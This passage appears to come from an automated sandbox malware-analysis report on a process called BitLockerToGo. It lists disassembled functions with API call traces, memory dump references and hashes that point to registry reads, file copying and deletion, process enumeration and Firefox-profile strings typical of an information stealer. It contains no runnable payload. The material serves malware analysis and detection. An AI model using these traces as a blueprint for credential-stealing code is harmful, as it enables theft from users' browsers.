APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 03017E37
RtlAllocateHeap.NTDLL(00000000), ref: 03017E3E
RegOpenKeyExA.KERNEL32(80000002,03551230,00000000,00020119,?), ref: 03017E5E
RegQueryValueExA.KERNEL32(?,03555970,00000000,00000000,000000FF,000000FF), ref: 03017E7F
RegCloseKey.ADVAPI32(?), ref: 03017E92

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: d70d6ed18108f476b7397f00f9b0b143f4d25a9867fc9826adcaca58aec8c67b
Instruction ID: da56fe5c6bf95f9e3b0675eea83ae9cf83de47cc32a7c9206718051b7a4810a8
Opcode Fuzzy Hash: d70d6ed18108f476b7397f00f9b0b143f4d25a9867fc9826adcaca58aec8c67b
Instruction Fuzzy Hash: 09115EB5A80209EBD710DF94E94AFBFBBFCFB08B10F108119F615A7284D77458008BA1

Function 030012A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 030012B4
RtlAllocateHeap.NTDLL(00000000), ref: 030012BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 030012D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 030012F5
RegCloseKey.ADVAPI32(?), ref: 030012FF

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 13557c6a874f8b5785f4fba4394cd1c8c01abf5584176bff2239392b47b796b7
Instruction ID: 24b101aa269ba1a0e73771503c4659a869cc42fdd0a24e4a198cdc6b0eed558a
Opcode Fuzzy Hash: 13557c6a874f8b5785f4fba4394cd1c8c01abf5584176bff2239392b47b796b7
Instruction Fuzzy Hash: B401E1BDA40208BBDB14DFE4E94DFAEB7BCEB48705F108159FA0597284D7759A018F50

Function 0300A0A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(03554EB0,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF,?,?,?,?,?,?,?,?,?,?,?,03010153), ref: 0300A0BD
LoadLibraryA.KERNEL32(03555750,?,?,?,?,?,?,?,?,?,?,?,03010153), ref: 0300A146

Part of subcall function 0301A740: lstrcpy.KERNEL32(03020AEF,00000000), ref: 0301A788

Part of subcall function 0301A820: lstrlen.KERNEL32(00000000,?,?,03015B54,03020ADB,03020ADA,?,?,03016B16,00000000,?,03540578,?,0302110C,?,00000000), ref: 0301A82B
Part of subcall function 0301A820: lstrcpy.KERNEL32(03020AEF,00000000), ref: 0301A885

Part of subcall function 0301A9B0: lstrlen.KERNEL32(?,03021110,?,00000000,03020AEF), ref: 0301A9C5
Part of subcall function 0301A9B0: lstrcpy.KERNEL32(00000000), ref: 0301AA04
Part of subcall function 0301A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0301AA12

Part of subcall function 0301A920: lstrcpy.KERNEL32(00000000,?), ref: 0301A972
Part of subcall function 0301A920: lstrcat.KERNEL32(00000000), ref: 0301A982

Part of subcall function 0301A8A0: lstrcpy.KERNEL32(?,03020AEF), ref: 0301A905

SetEnvironmentVariableA.KERNEL32(03554EB0,00000000,00000000,?,030212D8,?,03010153,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,03020AFE), ref: 0300A132

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 0300A0B2, 0300A0C6, 0300A0DC

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-1843082770
Opcode ID: 60a2e8f4c8c0aec4b34a93e312f2808891553f9e47cd36883e7aa453de849ed1
Instruction ID: bb4fbae64f6ea1aac58921ca0672131b2a958d4a5e877e55b4bcb622372f2ad6
Opcode Fuzzy Hash: 60a2e8f4c8c0aec4b34a93e312f2808891553f9e47cd36883e7aa453de849ed1
Instruction Fuzzy Hash: 454140B9A43204AFDF05FFA4F948BEE77B4BB49301F048129E50697284EB749995CB60

Function 0300A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0301A740: lstrcpy.KERNEL32(03020AEF,00000000), ref: 0301A788

Part of subcall function 0301A9B0: lstrlen.KERNEL32(?,03021110,?,00000000,03020AEF), ref: 0301A9C5
Part of subcall function 0301A9B0: lstrcpy.KERNEL32(00000000), ref: 0301AA04
Part of subcall function 0301A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0301AA12

Part of subcall function 0301A8A0: lstrcpy.KERNEL32(?,03020AEF), ref: 0301A905

Part of subcall function 03018B60: GetSystemTime.KERNEL32(?,03549910,030205AE,?,?,?,?,?,?,?,?,?,03004963,?,00000014), ref: 03018B86

Part of subcall function 0301A920: lstrcpy.KERNEL32(00000000,?), ref: 0301A972
Part of subcall function 0301A920: lstrcat.KERNEL32(00000000), ref: 0301A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0300A2E1
lstrlen.KERNEL32(00000000,00000000), ref: 0300A3FF
lstrlen.KERNEL32(00000000), ref: 0300A6BC

Part of subcall function 0301A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0301A7E6

Part of subcall function 03009E10: memcmp.MSVCRT(?,v20,00000003), ref: 03009E2D

DeleteFileA.KERNEL32(00000000), ref: 0300A743

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTimememcmp
String ID:
API String ID: 257331557-0
Opcode ID: 29d31d6b2c3dbf6f9633949e0a15c89f3580bf23d6574a094efa69fa015c7660
Instruction ID: dcd5d8b1b533c8e20d26d770f180753fcf492dfe11cfa5cd86f635fc3130bc57
Opcode Fuzzy Hash: 29d31d6b2c3dbf6f9633949e0a15c89f3580bf23d6574a094efa69fa015c7660
Instruction Fuzzy Hash: B2E1337AA132089BDB05FBA4DD94EEE733CAF94210F508159E5177A090EF706A5ECB70

Function 0300D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0301A740: lstrcpy.KERNEL32(03020AEF,00000000), ref: 0301A788

Part of subcall function 0301A9B0: lstrlen.KERNEL32(?,03021110,?,00000000,03020AEF), ref: 0301A9C5
Part of subcall function 0301A9B0: lstrcpy.KERNEL32(00000000), ref: 0301AA04
Part of subcall function 0301A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0301AA12

Part of subcall function 0301A8A0: lstrcpy.KERNEL32(?,03020AEF), ref: 0301A905

Part of subcall function 03018B60: GetSystemTime.KERNEL32(?,03549910,030205AE,?,?,?,?,?,?,?,?,?,03004963,?,00000014), ref: 03018B86

Part of subcall function 0301A920: lstrcpy.KERNEL32(00000000,?), ref: 0301A972
Part of subcall function 0301A920: lstrcat.KERNEL32(00000000), ref: 0301A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0300D801
lstrlen.KERNEL32(00000000), ref: 0300D99F
lstrlen.KERNEL32(00000000), ref: 0300D9B3
DeleteFileA.KERNEL32(00000000), ref: 0300DA32

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 9f128eea1f859bf42b478f8d627bdeb72dc159bef310eafda759329e8fd70703
Instruction ID: fbe93be3b6652a197a8bd9fcc99546e209cec3aeab08688c449629cdc520020c
Opcode Fuzzy Hash: 9f128eea1f859bf42b478f8d627bdeb72dc159bef310eafda759329e8fd70703
Instruction Fuzzy Hash: DE81247AA532089BDB04FBA4DD94DEE733CAF94210F504129F507AA090EF746A1ECB70

Function 0300F4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0301A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0301A7E6

Part of subcall function 030099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 030099EC
Part of subcall function 030099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 03009A11
Part of subcall function 030099C0: LocalAlloc.KERNEL32(00000040,?), ref: 03009A31
Part of subcall function 030099C0: ReadFile.KERNEL32(000000FF,?,00000000,030102E7,00000000), ref: 03009A5A
Part of subcall function 030099C0: LocalFree.KERNEL32(030102E7), ref: 03009A90
Part of subcall function 030099C0: CloseHandle.KERNEL32(000000FF), ref: 03009A9A

Part of subcall function 03018E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 03018E52

Part of subcall function 0301A740: lstrcpy.KERNEL32(03020AEF,00000000), ref: 0301A788

Part of subcall function 0301A9B0: lstrlen.KERNEL32(?,03021110,?,00000000,03020AEF), ref: 0301A9C5
Part of subcall function 0301A9B0: lstrcpy.KERNEL32(00000000), ref: 0301AA04
Part of subcall function 0301A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0301AA12

Part of subcall function 0301A8A0: lstrcpy.KERNEL32(?,03020AEF), ref: 0301A905

Part of subcall function 0301A920: lstrcpy.KERNEL32(00000000,?), ref: 0301A972
Part of subcall function 0301A920: lstrcat.KERNEL32(00000000), ref: 0301A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,03021580,03020D92), ref: 0300F54C
lstrlen.KERNEL32(00000000), ref: 0300F56B

Strings

^userContextId=4294967295, xrefs: 0300F59C
moz-extension+++, xrefs: 0300F5AD

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 74a270b1c67db52d1b5233b1346a7bec20f6b1417e886851178cdd4ad41a3a9f
Instruction ID: c4e0e26cea9cc719eed984427f42073ccb15c98b4a371c7481215008c044021c
Opcode Fuzzy Hash: 74a270b1c67db52d1b5233b1346a7bec20f6b1417e886851178cdd4ad41a3a9f
Instruction Fuzzy Hash: 8651247AE032089BDB04FBB0DD55DEE7778AF94210F408528E4166B190EF74671ECBA1

Function 03018680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0301A740: lstrcpy.KERNEL32(03020AEF,00000000), ref: 0301A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,030205B7), ref: 030186CA
Process32First.KERNEL32(?,00000128), ref: 030186DE
Process32Next.KERNEL32(?,00000128), ref: 030186F3

Part of subcall function 0301A9B0: lstrlen.KERNEL32(?,03021110,?,00000000,03020AEF), ref: 0301A9C5
Part of subcall function 0301A9B0: lstrcpy.KERNEL32(00000000), ref: 0301AA04
Part of subcall function 0301A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0301AA12

Part of subcall function 0301A8A0: lstrcpy.KERNEL32(?,03020AEF), ref: 0301A905

CloseHandle.KERNEL32(?), ref: 03018761

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: d46e82e8a8b263fcb84c4bbdc2eca0840060eb0e795f010c190ffcb58f83a81a
Instruction ID: f4ba556a425da5481f0e85d2e9cf31cc99e14c8ae152c6d8af0530f58ea83546
Opcode Fuzzy Hash: d46e82e8a8b263fcb84c4bbdc2eca0840060eb0e795f010c190ffcb58f83a81a
Instruction Fuzzy Hash: 30316076A03218EBCB24EF54DD44FEEB778EF45710F008199E10AAA190DB706B55CFA0

Function 03016AF3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,03540578,?,0302110C,?,00000000,?,03021110,?,00000000,03020AEF), ref: 03016ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 03016AE8
CloseHandle.KERNEL32(00000000), ref: 03016AF9
Sleep.KERNEL32(00001770), ref: 03016B04
CloseHandle.KERNEL32(?,00000000,?,03540578,?,0302110C,?,00000000,?,03021110,?,00000000,03020AEF), ref: 03016B1A
ExitProcess.KERNEL32 ref: 03016B22

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: e5f0ed5bebbb189d234b4b6c823b24bd9b1debc7a85ed89ae3b9caced1be251b
Instruction ID: 04afc00531c8eae583732a2b434d14d46b976a320249d777cb692f4af190e4f5
